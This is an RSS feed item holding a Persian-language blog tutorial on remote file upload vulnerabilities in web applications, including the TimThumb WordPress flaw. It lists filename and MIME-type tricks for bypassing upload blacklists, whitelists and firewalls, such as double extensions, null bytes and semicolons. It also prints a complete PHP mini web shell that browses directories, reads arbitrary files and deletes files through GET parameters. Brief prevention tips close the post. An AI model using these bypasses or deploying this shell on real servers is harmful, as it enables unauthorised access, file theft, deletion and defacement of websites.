<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"><channel><title>نوشته های behrad</title><link>https://virgool.ir/feed/@bhrad</link><description></description><language>fa</language><pubDate>2026-11-12 08:19:05</pubDate><image><url>https://virgool.ir/images/default-avatar.jpg</url><title>behrad</title><link>https://virgool.ir/@bhrad</link></image><item><title>Remote File Upload</title><link>https://virgool.ir/@bhrad/remote-file-upload-hxuhb2jsegvj</link><description>RFU مخفف remote file upload است و  همانطور که از نام ان مشخص است هنگام اپلود فایل در سرور ایناسیب پذیری  به وجود می اید که باعث می شود نفوذگر فایل های خود را در سرور اپلود کند و  به اهداف خود برسد به صورت کلی این اسیب پذیری بسیار خطر ناک است و موجب  می شود هکر از وب سایت دسترسی کاملبگیرد اما حالت های دیگری هم وجود دارد که خطر اسیب پذیری کم می شود که با ان ها اشنا خواهید شد.اگر  یک اپلودر سایت به باگ RFU اسیب پذیر باشد میتوانید فایل خود را اپلود  کنید برای مثال اگر سایت مورد نظر شما از php پشتیبانی می کند میتوانید یک  شل اسکریپت با زبان php در ان اپلود کنید که در این صورت دسترسی کامل  خواهید گرفتامازمانی دیگر  ممکن است فایل هایی مانند txt , html , js که فقط سمت کلاینت اجرا میشوند  فقط بتوانید اپلود کنید که در این صورت هیچ دسترسی نخواهید داشت و فقط  میتوانید یک صفحه دیفیس برای ثبت سایت ایجاد کنید یا نهایتا اطلاعات  کاربرانی که به ان صفحه می ایند را با روش های فیشینگ استخراج کنید.مثال این آسیب پذیری در افزونه های وردپرسیآسیب پذیری TimThumb که تعداد بسیار زیادی از پلاگین ها و مضامین را تحت تأثیر قرار داده است.یک  آسیب پذیری آپلود فایل از راه دور است. در مورد TimThumb کتابخانه تصویر  راهی را در اختیار توسعه دهندگان قرار داد تا بتوانند URL تصویر را در رشته  پرس و جو مشخص کنند تا TimThumb.php سپس آن تصویر را از وب واکشی کند.می  توان URL تصویر را دستکاری کرد تا مهاجم بتواند یک فایل PHP را که در وب  سایت خود مهاجمان میزبانی شده است مشخص کند. سپس TimThumb آن فایل PHP را  واکشی می کند و آن را در وب سایت قربانی در دایرکتوری قابل دسترسی از وب  ذخیره می کند. پس از آن مهاجم به سادگی به آن فایل PHP در مرورگر خود  دسترسی پیدا می کند و می تواند آن را اجرا کند.محدودیت ها و روش هایی که عمدتا در جهت جلوگیری از آپلود فایل غیر مجاز استفاده می شوند عبارتند از:1-black list:در این روش پسوند های غیر مجازی مشخص می شوند(php, asp, aspx) که با روش های زیر می توان ان ها را بایپس کرد:استفاده از پسوند هایی که رایج نیستند:php5”, “.pht”, “.phtml”, “.shtml”, “.asa”, “.cer”, “.asax”فایل هایی با دو پسوند:    file.php.jpgحروف بزرگ: shell.PhPاستفاده از ( ; ) : shell.php;.jpg با استفاده از / پسوند را بایپس کنیم: /file.jpg/index.php   بایپس با . و اسپیس:file.asp … … . . .. ..استفاده از اسلش و بک اسلش:test.php/  or  test.php.\فایروال پسوند .php را فیلتر میکند پس اینجوری ان را بایپس می کنیم:file.p.phphpو فایل ما در سرور به صورت file.php خوانده می شود2- white listدر این روش برخلاف روش قبل سرور بررسی میکند که پسوند فایل یکی از پسوند های مجاز باشدبطور مثال در قسمت آپلود عکس برای پروفایل کاربری سرور یکی از extension های زیر را قبول میکندJpg, png, gif, jpeg, ...این روش را هم می توان با دو پسوند و semicolon و Null byte و برخی روش های بالا بایپس کرد:semicolon: shell.php;.jpgDouble extension: shell.php.pngNull byte: shell.php .png3-mime type: برای مثال اگر mime type برای php باشد اجازه ی اپلود نداریم که می توان این روش را هم بایپس کرد.درخواست را اسنیف می کنیم و میم تایپ php را به image/jpeg تغییر می دهیم..html=&gt; text/html    .xml=&gt; text/xml .txt=&gt; text/plain    .rtf=&gt; application/rtf    .pdf=&gt; application/pdf    .word=&gt; application/msword    .png=&gt; image/png    .gif=&gt; image/gif    .jpeg,.jpg=&gt; image/jpeg    .au=&gt; audio/basic    mid,.midi=&gt; audio/midi,audio/x-midi    .ra, .ram=&gt; audio/x-pn-realaudio    .mpg,.mpeg=&gt; video/mpeg    .avi=&gt; video/x-msvideo    .gz=&gt; application/x-gzip    .tar=&gt; application/x-tar   .php=&gt; application/octet-stream4.content lenth Validationحجم فایل آپلودی محدود میشود و در صورتی که بالاتر از حجم مورد نظر بطور مثال ۱۰۰ کیلوبایت باشد آپلود صورت نمیگیرد برای بایپس هم می توان از شل های کم حجم تر استفاده کرد( $uploaded_size &lt; 10000 )mini shell:&lt;?php$root = __DIR__;$style1=&#39;color:#000;&#39;;$style2=&#39;color:#00a;font-weight:bold;&#39;;function updir($ADir){&#x9;$ADir = substr($ADir, 0, strlen($ADir)-1);&#x9;$ADir = substr($ADir, 0, strrpos($ADir, &#39;/&#39;));&#x9;return $ADir;}if (isset($_GET[&#39;file&#39;])) { &#x9;if (isset($_GET[&#39;del&#39;])){&#x9;&#x9;unlink($_GET[&#39;file&#39;]);&#x9;&#x9;die;&#x9;}&#x9;if (is_file($_GET[&#39;file&#39;])) {&#x9;&#x9;header(&#34;Content-type: text/plain&#34;);&#x9;&#x9;readfile($_GET[&#39;file&#39;]);&#x9;&#x9;return;&#x9;}&#x9;$path = $_GET[&#39;file&#39;].&#39;/&#39;;} else $path = $root.&#39;/&#39;;echo($root.&#39;&lt;br&gt;&#39;);echo($path.&#39;&lt;hr&gt;&#39;);echo &#39;&lt;a href=&#34;?file=&#39;.updir($path).&#39;&#34;&gt;..&lt;/a&gt;&lt;br /&gt;&#39;;$p = $path.&#39;*&#39;;foreach (glob($p) as $file) {&#x9;echo &#39;&lt;span style=&#34;font-size:11px;color:#777;&#34;&gt;&#39;.substr(sprintf(&#39;%o&#39;,fileperms($file)),-4).&#39;&lt;/span&gt; &lt;a style=&#34;&#39;.(is_file($file)?$style1:$style2).&#39;&#34; href=&#34;?file=&#39;.$file.&#39;&#34;&gt;&#39;.basename($file).&#39;&lt;/a&gt; - &lt;span style=&#34;font-size:11px;color:#777;&#34;&gt;&#39;.filesize($file).&#39; - &#39;.date(&#34;F d Y H:i:s&#34;, filemtime($file)).&#39;&lt;/span&gt;&lt;br /&gt;&#39;;}echo(&#39;&lt;hr&gt;&#39;); 5-Using a File Type Detector:فایروال بجز پسوند چند خط از فایل را هم بررسی میکند که می توان با کامنت کردن یا encode کردن بایپس کردایمنی و راههای جلوگیری از این باگ:جلوگیری از این نوع آسیب پذیری مشابه جلوگیری از آسیب پذیری lfi است :پوشه فایل های آپلود شده را محدود کنیداز افزونه های غیرضروری استفاده نکنیدمحدودیت ها را با کدگذاری اعمال کنیداز فایروال برای جلوگیری از آپلود استفاده کنیدبرای آپلود فایل ها از یک سرور جداگانه استفاده کنید</description><category>behrad</category><author>behrad</author><pubDate>Sat, 16 Jan 2021 15:53:25 +0330</pubDate></item></channel></rss>